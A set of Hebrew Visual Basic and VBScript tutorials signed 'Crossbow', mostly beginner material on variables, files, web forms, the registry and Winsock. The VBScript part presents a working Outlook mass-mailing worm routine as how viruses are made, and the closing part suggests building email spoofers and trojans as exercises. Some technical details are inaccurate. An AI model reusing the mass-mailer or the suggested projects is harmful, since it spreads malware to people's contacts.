**טוב, זה בעצם קבלת מידע, שנכנס לתוך משתנה. אני מקווה שלמדתם איך להשתמש**

**בזה, זה לא כל כך חשוב, אבל כדאי לדעת. שלכם,**

**Crossbow**

**שימוש בצבעים בויזואל בייסיק**

**טוב, יש כמה דרכים לייצג צבעים בויזואל בייסיק. נשתמש הפעם בצבע האחורי**

**של הפורם שלנו, ששמו הוא פורם 1. אז הנה הדרכים:**

**שימוש בצבע סטנדרטי**

**שימוש בצבעים סטנדרטיים: שימוש בצבעים מוגדרים הנמצאים בויזואל בייסיק**

**והמשומשים הרבה. כותבים את האותיות מפתח ואחריהן את הצבע באנגלית. שימוש**

**זה הוא השימוש הכי מוגבל בצבעים, אך לא מסובך.**

**Form1.Backcolor = vbYellow**

**שורת תיכנות זו תהפוך את הצבע האחורי של הפורם לצבע צהוב.**

**שימוש בקיוביבולור**

**קיוביקולור היא שיטה להגדרת צבעים שבה המשתמש מגדיר מספר אחד, בין אפס**

**לחמש עשרה. מי שמכיר את שפת התיכנות קיובייסיק מכיר את שיטת קיוביקולור.**

**שימוש זה גם מאוד מוגבל, וצריך גם לזכור כל מספר... בקיצר, לחובבנים.**

**Form1.Backcolor = QBColor (14)**

**שורת תיכנות זו תהפוך את הצבע האחורי של הפורם לצבע צהוב.**

**שימוש בצבעי יסוד**

**טוב, בניגוד לצבע רגיל, צבע של אור מורכב משלושה צבעי יסוד: אדום, ירוק**

**וכחול. פשוט מגדירים את רמת האדום, הירוק והכחול. שימוש זה לדעתי מקצועי**

**כמעט כמו שפה הקסדימלית, וגם נוח לשימוש. המלצה של קרוס בוו!**

**Form1.Backcolor = RGB (255, 255, 0)**

**שורת תיכנות זו תהפוך את הצבע האחורי של הפורם לצבע צהוב, על ידי הגדרת**

**אדום וירוק באופן מקסימלי וכחול לא נכנס.**

**שימוש בשפה הקסדימלית**

**טוב, הכי מקצועי אבל גם הכי מסובך. לא כל כך מומלץ, יותר מדי אימוץ של**

**השכל שלנו בשביל להגדיר צבע, אבל בכל זאת מעניין לחקור את זה קצת.**

**שלכם,**

**Crossbow**

**משתנים בויז'ואל בייסיק**

**אוקי. מה זה משתנה? משתנה, Variable באנגלית, הוא אות, מילה או מספר**

**שהתפקיד שלהם הוא פנימי בלבד, יעני, המשתנה הוא לא פקד או פורם או משהו**

**שאפשר לראות, אבל אפשר לייצג אותו החוצה. טוב, דבר ראשון, כמו בכל שפת**

**תיכנות, אנחנו צריכים להגיד לו שאנחנו רוצים להכניס משתנה חדש. אחרי זה**

**מכניסים את השם החדש של המשתנה, ואחרי זה אפשר להשאיר אותו ריק (וריאבל),**

**או שאפשר להגיד לתוכנה מה הסוג שלו. טוב, אז זה הולך ככה:**

**Dim VarX As Integer**

**טוב, קצת הסברים:**

**Dim = המילה שאומרת לתוכנית להכניס משתנה חדש.**

**VarX = שם המשתנה החדש.**

**As = מילה שאומרת לתוכנית שאנחנו רוצים להגדיר את סוג המשתנה.**

**Integer = סוג המשתנה. בדוגמא זו המשתנה הוא מספר מלא.**

**טוב, עכשיו אני אגיד לכם מהם סוגי המשתנים הכי משומשים והכי בסיסיים.**

**Boolean = טכניקה בולאנית. מחזיר נכון או לא נכון.**

**Byte = הגדרת משתנה יחיד ששוקל 8 ביט, שהם בייט אחד. טווח של 0 ל- 255.**

**Date = הגדרת משתנה בתור תאריך חוץ מחשבי.**

**Double = הגדרת משתנה כפול.**

**Integer = הגדרת מספר מלא (ללא שברים). טווח עד למספר 32767.**

**Long = מספר ארוך. טווח עד למספר 2147483648.**

**New = אובייקט חדש. אחרי הסוג צריך להוסיף את סוג האובייקט.**

**Single = חצי דובל. הגדרת משתנה יחיד.**

**String = מחרוזת. כתב, טקסט, בקיצר.**

**טוב, אלה סוגי המשתנים. עכשיו בואו נעבור לשגיאות המשתנים. מה הבעייה**

**בשורות תיכנות הבאות?**

**Dim VarY As Integer**

**VarY = "Crossbow"**

**Msgbox VarY**

**הבעייה היא שהמשתנה מוגדר כמספר ואחר כך מוכנס לו ערך שהוא טקסט.**

**פה התוכנית תחזיר לנו שגיאה מספר 13, שאומרת שהסוג של המשתמש הוא טעות.**

**בואו נעבור לבעייה הבאה:**

**Dim VarZ As Byte**

**VarZ = 256**

**פה הבעייה היא שלמרות שסוג המשתנה מוגדר למספר שלם, והערך הוא מספר שלם,**

**יש לנו פה מספר שעבר את הטווח של סוג המשתנה, ולכן התוכנית תחזיר לנו את**

**שגיאה מספר 6, שאומרת שיש לנו פה עומס יתר.**

**טוב, עכשיו מה הבעייה פה?**

**Dim VarX As Integer**

**VarX = 7 / 2**

**הבעייה שהמשתנה הוא מספר מלא, והתוצאה חילוק הוא לא כל כך מספר מלא. אבל**

**פה, לעומת הבעיות האחרות, לא תוחזר שגיאה, אלא המשתנה יעוגל באומדן למספר**

**השלם הכי קרוב. אוקי, אלה היו סוגי השגיאות הכי נפוצות בויזואל בייסיק.**

**אפשר גם לגרום לשגיאה להעלם. אפשר להשתמש בזה בכמה דרכים.**

**On Error Resume Next = אם עלתה שגיאה, תתעלם ותמשיך לשורה הבאה.**

**On Error Goto Bye = אם עלתה שגיאה, לך למיקום "ביי".**

**טוב, זה מספיק, יעני, אני חושב שלמדתם מספיק, וחוצמזה אין לי כח לכתוב...**

**כל מיש שרוצה ללמוד תיכנות והוא לא ליימר יכול לשלוח לי לאייסיקיו בעיות,**

**ואני אעזור בכיף. שלכם,**

**Crossbow**

**פעולה עם קבצים בויזואל בייסיק**

**בעקבות בקשות ללימוד מתקדם יותר של ויזואל בייסיק, אני עכשיו אלמד אתכם**

**לכתוב ולקרוא קבצים דרך ויזואל בייסיק בלי שימוש באובייקט Fso (שזה קיצור**

**של File System Object). טוב, בואו נתחיל.**

**איך מיוצגים קבצים**

**טוב, קבצים מיוצגים בויזואל בייסיק על ידי מספרים (בניגוד לכמה שפות שבהן**

**קבצים הם משתנים). קובץ הוא בעצם קבוע בתוך מערך ויזואל בייסיק. עכשיו,**

**כשאנחנו קוראים או כותבים בקובץ, אנחנו צריכים לפתוח אותו. הנה דוגמא**

**טובה לפתיחת קובץ:**

**Private Sub Form1\_Load()**

**Open "C:\Kaki.txt" For Append As #1**

**Close #1**

**End Sub**

**הסברים**

**טוב, אנחנו לוקחים קובץ ופותחים אותו. ההצהרה על הפתיחה כוללת מספר חלקים**

**שבעצם אומרים לנו איזה קובץ אנחנו פותחים, לאיזו מטרה אנחנו פותחים אותו**

**ואיך הוא ייוצג. אחרי זה אנחנו מצהירים על סגירת הקובץ. בין ההצהרות על**

**הפתיחה והסגירה אנחנו נרשום את הקוד שישתמש בקובץ שפתחנו. אנחנו יכולים**

**לפתוח קובץ למספר מטרות. הנה הסברים על כל אחד מהם:**

**Append**

**מוסיף מידע לסוף קובץ שקיים. אם הקובץ לא קיים, ויזואל בייסיק ייצור אותו**

**בלי לתת שום הודעת שגיאה או אזהרה.**

**Binary**

**פותח קובץ בשפה בינארית טהורה - ביטים ובתים. שוב, אם הקובץ לא קיים, הוא**

**ייווצר אוטומטית על ידי ויזואל בייסיק.**

**Input**

**פותח קובץ לקריאה מתוכו. אם הקובץ לא קיים תעלה הודעת שגיאה.**

**Output**

**פותח קובץ לכתיבה אליו. אם הקובץ לא קיים, הוא ייווצר.**

**Random**

**פותח את הקובץ לאכסון אקראי. משומש בעיקר להקלטת מידע פשוט. אם הקובץ לא**

**קיים, הוא ייווצר אוטומטית על ידי ויזואל בייסיק.**

**פונקציות לשימוש בקבצים**

**טוב, כמו שאמרנו קודם, יש גם מספר פונקציות בתוך הקבצים. הנה כל הפקודות**

**שאפשר להכניס בתוך קובץ שפתחנו:**

**Line Input**

**שומר מידע בקובץ וכל פעם מוסיף שורה (כאילו לחצתם על אנטר).**

**Input**

**מוציא מידע מתוך הקובץ.**

**Print**

**מכניס מידע לתוך הקובץ.**

**Write**

**מכניס מידע לתוך הקובץ, אבל עם כמה מאפיינים שונים מפונקציית Print.**

**EOF**

**ממשיך עד שמגיע סוף הקובץ. משמש בעיקר להוצאת מידע מתוך קובץ.**

**יישום מה שלמדנו**

**טוב, בואו נבנה תוכנית קטנה. בתוכנית הזאת יהיה פורם (שייקרא Form1), גם**

**תהיה לנו איזו תיבת רשימות (שתיקרא List1). טוב, בקוד הזה אנחנו קוראים**

**את כל מה שכתוב בקובץ Autoexec.bat שלנו, ומציג אותו בתיבת הרשימות:**

**Private Sub Form1\_Load()**

**Dim VarX As String**

**Open "C:\Autoexec.bat" For Input As #1**

**Do Until EOF(1)**

**Input #1, VarX**

**List1.AddItem VarX**

**Loop**

**Close #1**

**End Sub**

**הסברים**

**תוכנית מאוד פשוטה: קודם כל אנחנו יוצרים משתנה שמיוצג בתור VarX, אחר כך**

**אנחנו יוצרים לולאה שתמשיך עד שנגיע לסוף הקובץ, אחר כך אנחנו פשוט נכניס**

**את המידע מהקובץ על ידי פתיחת הקובץ לשליפת מידע, והוצאת המידע בעזרת**

**הפוקנצייה Input. אחרי זה אנחנו מכניסים את המידע (שעכשיו כתוב במשתנה**

**שהגדרנו מקודם) לתוך תיבת הרשימות. אחרי כל זה, אנחנו סוגרים את הלולאה,**

**סוגרים את הקובץ, וסוגרים את התוכנית. זהו.**

**נגמר**

**טוב, אני מקווה שהבנתם את הנושא הזה, נושא מכאיב ולפעמים מבלבל ולא קל,**

**אבל חשוב לדעת אותו (למרות שיש פקד FSO, כי פשוט כמה שתהיו תלויים בפחות**

**פקדים ויותר בפונקציות ובפונקציות API, כך התוכנית תעשה לכם פחות בעיות,**

**וכן, זהו החסרון הגדול מאוד של ויזואל בייסיק). שאלות, הארות, הערות,**

**ובכלל שאר ירקות יתקבלו בברכה לאייסיקיו שלי. שלכם,**

**Crossbow**

**VISUAL BASIC SCRIPT**

**היום אני אלמד אתכם על ייצור דפי אינטרנט דינאמיים ואינטראקטיביים על ידי**

**שימוש בויבי סקריפט. אז, מה זה ויבי סקריפט? ויבי סקריפט, נקרא באנגלית**

**בשם VbScript, הוא לא ממש שפת תיכנות, אלא יותר שפת סקריפט. שפת הסקריפט**

**הזו נגזרת משפת התיכנות ויזואל בייסיק (Visual Basic), ולמרות השוני**

**ביניהם, יש גם המון דברים משותפים. יתרון גדול של תיכנות דפי אינטרנט**

**בכלל ובשפות סקריפט בפרט, הוא שהן עם קוד מקור פתוח (המאפשר לכולנו לראות**

**בעצם את כל הקוד), והן לא דורשות שום קומפיילר (מהדר). טוב, בואו נתחיל!**

**יצירת אובייקטים**

**טוב, כמו שויזואל בייסיק היא שפת תיכנות המוגדרת כשפה שהיא שפת תיכנות**

**מונחה אובייקטים (Object Orianted Programing), ככה גם ויבי סקריפט. כמו**

**גם בויזואל בייסיק, האובייקטים ממוקמים בתוך פורם (Form). כדי להבדיל את**

**יצירת האובייקטים משאר קוד דף האינטרנט (הידוע בתור Html), אנו ממקמים את**

**תוויות הפורם. כל מה שיהיה בין תוויות הפורם יהיה מוגדר כאובייקט בתוך**

**הפורם הנוכחי. הנה דוגמא לדף אינטרנט פשוט עם פורם:**

**<HTML>**

**<HEAD>**

**<TITLE> My first dynamic page </TITLE>**

**</HEAD>**

**<BODY>**

**<FORM METHOD= "Post" ACTION = "" NAME = "Form1">**

**</FORM>**

**</BODY>**

**</HTML>**

**אם נריץ את הקוד על דפדפן, אנחנו נראה דף ריק. זה מכיוון שהפורם הוא שדה**

**וירטואלי בלבד, ואין בו שום אובייקט כרגע. בואו ניצור אובייקט. בואו נעשה**

**ככה שאם אנחנו נלחץ על כפתור, תעלה הודעה מסויימת. אז הנה, בואו נתחיל את**

**הכל על ידי הצבת אובייקט הכפתור בתוך הפורם שכבר יצרנו:**

**<HTML>**

**<HEAD>**

**<TITLE> My first dynamic page </TITLE>**

**</HEAD>**

**<BODY>**

**<FORM METHOD= "Post" ACTION = "" NAME = "Form1">**

**<INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here">**

**</FORM>**

**</BODY>**

**</HTML>**

**טוב, אז הנה, בין שתי תוויות הפורם שמנו אובייקט. עכשיו, כל אובייקט בעצם**

**מתחיל בתווית אינפוט. אחרי זה יש בדרך כלל שלושה מאפיינים מרכזיים: שם**

**האובייקט, סוג האובייקט וערך האובייקט. עכשיו, שם האובייקט הוא שם שיציין**

**את האובייקט. כל פעם שאנחנו רוצים להתייחס לאוביקט שיצרנו, נתייחס אליו**

**בשם שהקצינו לו. סוג האובייקט הוא הסוג של האובייקט שניצור, לדוגמא, סוג**

**של כפתור (במקרה הזה), סוג של טקסטבוקס, סוג של פסוורדבוקס וכדומה.**

**סוגי האובייקטים**

**button (כפתור רגיל)**

**משמש בעיקר לאירוע לחיצה. הערך שנקבע לו הוא הטקסט על משטח הכפתור. כפתור**

**הוא פקד המוכר גם בסביבות פיתוח שונות (כמו ויזואל בייסיק או ג'אווה).**

**reset (כפתור שחזור)**

**כמו הכפתור הרגיל, אבל לחיצה עליו תגרום לשחזור הפורם, לפני שהמשתמש שינה**

**מאפיינים כלשהם (כמו טקסט בתיבת טקסט לדוגמא).**

**submit (כפתור קישורי)**

**כמו הכפתור הרגיל, אבל לחיצה עליו תגרום לקישור בין הדף למיקום אחר, וכל**

**המידע שיש בפורם יישלח.**

**text (תיבת טקסט רגילה)**

**משמשת להצגת וקבלת טקסטים. הערך שנקבע לה הוא הטקסט ההתחלתי בתוכה. תיבת**

**הטקסט, בדומה לכפתור, מוכרת גם היא בסביבות פיתוח אחרות.**

**password (תיבת טקסט מוצפן)**

**כמו תיבת הטקסט הרגילה, אבל הטקסט מוצג באמצעות סיסמא המוצגת ככוכביות.**

**radio (כפתור בחירה מעוגל)**

**משמש בעיקר לסימון של ייצוג כלפי המשתמש. בכפתור הבחירה המעוגל הסימון**

**נעשה ע"י לחיצת עכבר יחידה, ונראה בצורת עיגול שחור.**

**checkbox (כפתור בחירה מרובע)**

**אותם מאפיינים כמו לכפתור הבחירה המעוגל, אבל הסימון נראה בצורת וי.**

**שימוש באירועי לחיצה**

**טוב, עכשיו אנחנו מגיעים לחלק האמיתי. מי שמכיר ויזואל בייסיק, יודע שעד**

**עכשיו אנחנו עשינו רק את החלק הויזואלי, עכשיו רק את החלק הקל מאוד של**

**יצירת האובייקטים. עכשיו הגיע הזמן לחלק הטכני, לתיכנות. טוב, היום נלמד**

**רק אירוע אחד, למרות שיש יותר. עכשיו, צריך להפריד את כל החלקים הטכניים**

**של הדף שלנו מהאובייקטים עצמם, נכון? אז עושים ככה: מעל תווית הפתיחה**

**הראשונה, הידועה בשם Body, אנחנו ניצור תוויות סקריפט: Script. עכשיו, יש**

**יותר משפת סקריפט אחת, ולכן רצוי מאוד גם לציין את סוג הסקריפט שלנו. סוג**

**הסקריפט שלנו נקרא ויבי סקריפט ואת זה נציין:**

**<HTML>**

**<HEAD>**

**<TITLE> My first dynamic page </TITLE>**

**</HEAD>**

**<SCRIPT LANGUAGE = "VbScript">**

**</SCRIPT>**

**<BODY>**

**<FORM METHOD= "Post" ACTION = "" NAME = "Form1">**

**<INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here">**

**</FORM>**

**</BODY>**

**</HTML>**

**עכשיו, כל הקטע התיכנותי יבוא בין שתי תוויות הסקריפט. בואו ניצור משתנה.**

**עכשיו, בניגוד לשפות תיכנות כמו דלפי או ג'אווה, בויבי סקריפט אנחנו לא**

**הולכים לציין את סוג המשתנה. לכל המשתנים יש את אותו טווח זיכרון, וככה**

**אנחנו הולכים לעבוד איתם. יצירת המשתנה מתחילה בהצהרה על משתנה, ואחריו**

**שמו של המשתנה. כמו בויזואל בייסיק, ההצהרה היא המילה Dim. הנה דוגמא**

**להצהרה המשתנה שייצג את קבלת הסיסמא מהמשתנה:**

**dim VarX**

**הערה חשובה: שם משתנה אף פעם לא יתחיל במספר. לא משנה מה, אסור אף פעם**

**ששמו של המשתנה יתחיל במספר, טוב?**

**אוקיי, עכשיו ניצור פונקצייה שתקבל סיסמא מסויימת מהמשתמש, ותחזיר אם**

**הסיסמא נכונה או לא. בשביל לקבל את הסיסמא נשתמש בתיבת אינפוט.**

**תיבת אינפוט**

**תיבת אינפוט, הנקראת בשמה האנגלי Input Box, היא הודעה המבקשת להכניס ערך**

**מסויים, הנקלט (בדרך כלל) בתוך התוכנית. הנה דוגמא לתיבת אינפוט:**

**dim VarX**

**VarX = inputbox ("Plese insert the password:")**

**לאחר ההצהרה על תיבת האינפוט רושמים את הטקסט בתוכה. עכשיו, הנה הקוד של**

**כל דף האינטרנט שלנו כרגע:**

**<HTML>**

**<HEAD>**

**<TITLE> My first dynamic page </TITLE>**

**</HEAD>**

**<SCRIPT LANGUAGE = "VbScript">**

**dim VarX**

**VarX = inputbox ("Plese insert the password:")**

**</SCRIPT>**

**<BODY>**

**<FORM METHOD= "Post" ACTION = "" NAME = "Form1">**

**<INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here">**

**</FORM>**

**</BODY>**

**</HTML>**

**טוב, עכשיו ניצור את האירוע. אירועים מתחילים בהצהרה ע"י הקלדת המילה**

**האנגלית Sub. אחר כך מגיע שם האובייקט, אחר כך יגיע סוג האירוע, ואחריו**

**נרשום מה ייקרה במידה שהאירוע מתקיים. לציון סוף הסקריפט של קיום האירוע**

**שהגדרנו, עלינו להצהיר על סיום כלשהו. הנה דוגמא:**

**sub Button1\_OnClick()**

**if VarX = "Haxor" then msgbox("Correct!!!") else msgbox("Wrong!!!")**

**end sub**

**שימו לב שכאן השתמשנו במשהו חדש, תיבת הודעה (msgbox), השונה מתיבת**

**האינפוט בכך שהוא מציג הודעה בלי קבלת מחרוזת (String) מהמשתמש. עכשיו,**

**יש לנו פה תנאי. התנאי אומר שאם המשתנה שווה למילה Haxor, אז תוצג הודעה**

**שתגיד שהסיסמא נכונה, ואם לא, אז תוצג הודעה שהסיסמא אינה נכונה. טוב, פה**

**אני אציג את הקוד מקור המלא (והסופי) של הדף שלנו:**

**<HTML>**

**<HEAD>**

**<TITLE> My first dynamic page </TITLE>**

**</HEAD>**

**<SCRIPT LANGUAGE = "VbScript">**

**dim VarX**

**VarX = inputbox ("Plese insert the password:")**

**sub Button1\_OnClick()**

**if VarX = "Haxor" then msgbox("Correct!!!") else msgbox("Wrong!!!")**

**end sub**

**</SCRIPT>**

**<BODY>**

**<FORM METHOD= "Post" ACTION = "" NAME = "Form1">**

**<INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here">**

**</FORM>**

**</BODY>**

**</HTML>**

**טוב, זה בעקרון שימוש למתחילים בויבי סקריפט. אני מקווה שלמדתם, ועכשיו,**

**תוכלו ליצור דפים דינאמיים מאוד. הבעייה היחידה היא שויבי סקריפט לא**

**תוכנן לקבל סיסמאות וכאלה, כי לויבי סקריפט יש קוד מקור פתוח. טוב, אני**

**מקווה שגם נהנתם. שלכם,**

**Crossbow**

**שימוש באינטראקטיביות ב VISUAL BASIC SCRIPT**

**היום אני אסביר לכם את השימוש של קובץ הממוקם בתיקיית Windows שלכם, ולו**

**קוראים WScript.exe... קובץ זה מאוד שימושי בשפות סקריפט המתווספות לתוך**

**דף Html, כמו JavaScript או VbScript. קובץ זה משמש תמיד גם ליצירה של**

**וירוסים עם סיומות Vbs (של VbScript) או סיומות Js (של JavaScript). קובץ**

**זה מאוד נוח ליצירת וירוסים, מכיוון שהוא משמש מפתח מעבר חוקי בין הדף**

**האינטרנטי שלנו לבין הרג'יסטרי והקבצים על המחשב שלנו. במסגרת המאמר הזה,**

**אנחנו ניצור תוכנית שמשנה ערכים ברג'יסטרי, נכתוב אותה בשפת VbScript.**

**רק שתדעו שכל וירוס Vbs שהגיע אליכם עם סיומת Vbs יכול להיות מתורגם בלי**

**הרבה בעייה לקובץ Js... טוב, בואו נתחיל!!!**

**השימוש הראשון שלנו בקבצים ורגי'סטרי**

**טוב, למי שלא יודע, רג'יסטרי זה מסד נתונים ענקי של מערכות Windows. טוב,**

**הרג'יסטרי, שומר ערכים חשובים למערכת ולכמה קבצים הקשורים אליה. למשתמש**

**יש גישה מלאה תמיד לרג'יסטרי במחשב שלו, בעזרת תוכניות כמו Regedit, או**

**יצירת תוכנית לא מסובכת במיוחד שמשתמשת בכמה פקודות Api לשינוי ויצירת**

**ערכים ברג'יסטרי. הרעיון הוא שתמיד אין הגבלה אליו, אין סיסמא לכניסה אל**

**הרג'יסטרי, אין חלקים נסתרים או בלי גישה, אין קריאה בלבד, הכל חופשי.**

**טוב, עכשיו ניצור כמה אובייקטים בתוך קובץ עם סיומת Vbs. האובייקט הראשון**

**שלנו יקשר אותנו עם WScript ועם הרג'יסטרי... נכתוב ככה:**

**Set VarX = CreateObject("WScript.Shell")**

**טוב, הדבר השני שנעשה הוא שימוש באובייקט הנקרא FileSystem. אובייקט זה**

**ייקשר אותנו לתוך הקבצים במחשב שלנו. אז נוסיף אותו, כך שהקוד שלנו הוא:**

**Set VarX = CreateObject("WScript.Shell")**

**Set VarY = CreateObject("scripting.filesystemobject")**

**טוב, עכשיו אנחנו יכולים לעבוד על כמה פונקציות כבר. בואו נעבוד על שימוש**

**בקובץ לשם העתקה. נגיד שאנחנו רוצים להעתיק את הקובץ הרצה של המחשבון של**

**Windows שהוא: C:\Windows\Calc.exe לתוך C:\Calc.exe. מה שנעשה הוא הוספת**

**פונקצייה הנקראת copyfile, השייכת לאובייקט FileSystemObject. נציין את**

**מיקום המקור שלנו ואת מיקום היעד שלנו, כך שעכשיו הוא:**

**Set VarX = CreateObject("WScript.Shell")**

**Set VarY = CreateObject("scripting.filesystemobject")**

**VarY.copyfile "C:\Windows\Calc.exe", "C:\Calc.exe"**

**עכשיו, אני רוצה להזכיר שהעתקה של קובץ אינה אומרת העברה שלו. עכשיו שני**

**הקבצים יהיו קיימים, גם C:\Windows\Calc.exe, וגם C:\Calc.exe (במידה**

**והרצנו את הקובץ). עכשיו, עוד פונקצייה שווה היא השגת תיקיית Windows...**

**הפונקצייה נקראת GetSpecialFolder. עכשיו, כדי להבטיח שהגענו לתיקיית**

**Windows (יש מחשבים שבהם התיקייה שבהם Windows לא מותקן בתוך C:\Windows)**

**אז נשנה את קוד המקור שלנו לדבר הבא:**

**Set VarX = CreateObject("WScript.Shell")**

**Set VarY = CreateObject("scripting.filesystemobject")**

**VarY.copyfile VarY.GetSpecialFolder(0) & "\Calc.exe", "C:\Calc.exe"**

**עוד דבר חשוב שהשתמשנו בו זה האופרטור &, שפירושו הוספה לערך String, ערך**

**טקסטואלי. יש עוד כמה דברים מעניינים, עמו למשל deletefile (פונקצייה**

**הדורשת ארגומנט אחד). פונקצייה זו מוחקת קובץ. אפשר למחוק את הקובץ הקודם**

**שהעתקנו ככה:**

**Set VarX = CreateObject("WScript.Shell")**

**Set VarY = CreateObject("scripting.filesystemobject")**

**VarY.deletefile "C:\Calc.exe"**

**טוב, אני חושב שדי כיסינו את הקבצים, ועכשיו כדאי שנעבור לרגי'סטרי. טוב,**

**עכשיו, ישנן מספר פונקציות שקשורות לרג'יסטרי, אבל הן, בניגוד לדברים**

**הקודמים שעשינו, לא יהיו קשורות לאובייקט FileSystem, אלא לקובץ WScript.**

**הרגי'סטרי**

**הנה למשל דוגמא טובה לשימוש ברגי'סטרי. אחרי הקוד הסברים כמובן:**

**Set X = CreateObject("WScript.Shell")**

**Dim Y**

**Y=X.regread("HKLM\Software\Microsoft\Windows\CurrentVersion\Version")**

**Msgbox (Y)**

**הסברים**

**טוב, בשורה הראשונה יצרנו אובייקט WScript. בשורה השנייה אנחנו הצהרנו על**

**משתנה חדש בשם Y. בשורה השלישית אנחנו מגדירים את Y בתור ערך הקריאה מתוך**

**הרגי'סטרי, וכאן רציתי להתעקב. יש שוני מסויים בין תוכניות שנכתבו בתוך**

**ויזואל בייסיק למשל, לבין VbScript ששולט על רג'יסטרי. עכשיו, יש לנו כאן**

**שני הבדלים: הבדל ראשון הוא שבויזואל בייסיק נכתוב HKEY\_LOCAL\_MACHINE,**

**אבל בתוך VbScript עם שימוש באובייקט WScript אנחנו נרשום קיצור למפתח**

**ההתחלתי. הנה טבלה לכל ששת הקיצורים של מפתחות התחלתיים ברג'יסטרי:**

**HKEY\_CURRENT\_USER = HKCU**

**HKEY\_CLASSES\_ROOT = HKCR**

**HKEY\_LOCAL\_MACHINE = HKLM**

**HKEY\_USERS = HKU**

**HKEY\_CURRENT\_CONFIG = HKCC**

**HKEY\_DYN\_DATA = HKDD**

**ההבדל השני שיש לנו כאן מקריאות Api בויזואל בייסיק, הוא שאנחנו לא עושים**

**הפרדה בין התת מפתח למפתח עצמו. בתחביר של ויזואל בייסיק היינו כותבים:**

**Y=X.regread("HKLM\Software\Microsoft\Windows\CurrentVersion,"Version")**

**אבל בתוך תחביר WScript יש רק ארגומנט אחד לקריאה מהרג'יסטרי. טוב, נעבור**

**לכתיבה לתוך הרגי'סטרי. הכתיבה היא, כמה צפוי, regwrite. בניגוד לקריאה,**

**לכתיבה לרג'יסטרי יש שני ארגומנטים. הארגומנט הראשון הוא שם המפתח יחד עם**

**שם התת מפתח, והארגומנט השני הוא ערך התת מפתח. הנה דוגמא לסקריפט שיכתוב**

**לנו ערך לתוך הרגי'סטרי:**

**Set X = CreateObject("WScript.Shell")**

**X.regwrite "HKLM\Software\Microsoft\Important", "Fuck Microsoft!!!"**

**שימוש מתקדם באי מייל**

**טוב, ככה ממש עושים וירוסים באופן מקצועי. עכשיו ניצור סקריפט שתפקידו**

**יהיה לשלוח קובץ מסויים לכל רשימת הדואר שלנו!!! טוב, הקוד עצמו לא קצר**

**כל כך כמו הקודמים, אבל אחריו יהיו הסברים:**

**Set A = CreateObject("Outlook.Application")**

**If A = "Outlook" Then**

**Set B = A.GetNameSpace("MAPI")**

**For Each C In B.AddressLists**

**If C.AddressEntries.Count <> 0 Then**

**For D = 1 To C.AddressEntries.Count**

**Set E = C.AddressEntries(D)**

**Set F = A.CreateItem(0)**

**F.To = E.Address**

**F.Subject = "The Windows Calculator"**

**F.Body = "Hello" & vbCrLf & "This is a calculator"**

**F.Attachments.Add "C:\Windows\Calc.exe"**

**F.DeleteAfterSubmit = False**

**If Len (F.To) > 0 Then F.Send**

**Next**

**End If**

**Next**

**הסברים**

**טוב, בשורה ראשונה אנחנו יוצרים אובייקט דואר מסוג Outlook, שנקרא A. אחר**

**כך אנחנו אומרים שאם יש לנו Outlook אז אנחנו יוצרים אובייקט B, שייצג את**

**רשימת השמות. אחר כך אנחנו בונים לולאת For שתלויה בספירה של רשימת השמות**

**שלנו, ואנחנו גם אומרים שאם רשימת השמות היא לא אפס אז תשלח הודעה חדשה**

**לנמען שברשימת השמות, עם הנושא "The Windows Calculator", עם גוף ההודעה**

**שמצויין שורה לאחר ההצהרה על נושא ההודעה, שורה אחר כך יש לנו חיבור של**

**קובץ שהוא בעצם C:\Windows\Calc.exe, אחרי זה הוא אומר שאחרי שהוא שלח את**

**ההודעה הוא לא ימחק את ההודעה מרשימת ההודעות שנשלחו (False), לאחר מכן**

**אנחנו אומרים שאם שם הנמען תופס מעל אפס תווים אז ההודעה תשלח. אחרי זה**

**יש לנו את סגירת הלולאה השנייה, סגירת התנאי ובסוף סגירת הלולאה הראשונה.**

**הסקריפט שעכשיו בנינו משמש המון סוגי וירוסים, ביניהם Klez.h הידוע. טוב,**

**אני מקווה שתשתמשו בידע הזה רק לערכים טובים, זה ידע מאוד חזק ויכול לשמש**

**לדברים מאוד מאוד מאוד מאוד מאוד מסוכנים (הפצה ענקית של וירוסים וכאלה).**

**בכנות עכשיו, אני ממליץ לכולכם להיות White Hat Hackers, לדווח לאדמינים**

**על בעיות באתרים שלהם, ולעזור, לא להרוס. הרבה יותר מאתגר, והרבה יותר**

**סבבה גם לדעתי. טוב, שלכם,**

**Crossbow**

**VISUAL BASIC WINSOCK**

**טוב, אחרי שהרבה אנשים ביקשו ממני לכתוב להם על הפקודות של פקד ווינסוק**

**Winsock בויזואל בייסיק, אני עושה טקסט עליו. טוב, ווינסוק משמש להעברת**

**מידע אינטרנטי בסביבת ויזואל בייסיק. הנה הפקודות הבסיסיות שלו:**

**BytesReceived**

**מחזיר את מספר הבייטים שנתקבלו בזמן החיבור הנוכחי.**

**Close**

**סוגר את החיבור.**

**Connect**

**מתחבר לכתובת מסויימת דרך פורט מסויים. דוגמא: כדי להתחבר לשרת דואר יוצא**

**של הוטמייל, אנחנו נכתוב:**

**Winsock1.Connect "mail.hotmail.com", 25**

**GetData**

**מקבל מידע מהכתובת שאליו אנחנו מחוברים. לדוגמא, כדי להציג מידע שמתקבל,**

**נכתוב בתוכנית:**

**Dim RcptData As String**

**Winsock1.GetData RcptData, VbString**

**Msgbox RcptData**

**Listen**

**הופך לסוג "מקשיב", ויוצר סוקט חדש. יכול להיות רק בתקשורת Tcp \ Ip.**

**LocalHostName**

**מחזיר את שם המחשב הלוקאלי.**

**LocalIP**

**מחזיר את מספר האייפי הלוקאלי.**

**LocalPort**

**מחזיר את הפורט שאליו מתחבר הווינסוק.**

**Protocol**

**מחזיר את הפרוטוקול שמשומש על ידי הפקד.**

**RemoteHost**

**מגדיר את השרת שממנו אנחנו מקבלים או שולחים מידע.**

**RemoteIp**

**מגדיר את האייפי שממנו אנחנו מקבלים או שולחים מידע.**

**RemotePort**

**מגדיר את מספר הפורט שממנו אנחנו מקבלים או שולחים מידע.**

**SendData**

**שולח מידע. המידע מועבר דרך השרת או האייפי שקבענו, דרך הפורט שקבענו.**

**טוב, זה בעצם רוב הדברים שאתם צריכים לדעת. בתור התחלה, נסו לבנות תוכנה**

**שמתרגמת אייפי לכתובת, ולהפך. אחר כך נסו לבנות תוכנה שמזייפת אימיילים.**

**בשביל זה תצטרכו לדעת זיוף אימייל באמצעות טלנט. אחר כך, נסו לבנות משהו**

**מסובך יותר, כמו סוס טוריאני למשל (לקוח + שרת). אני מקווה שתצליחו לבנות**

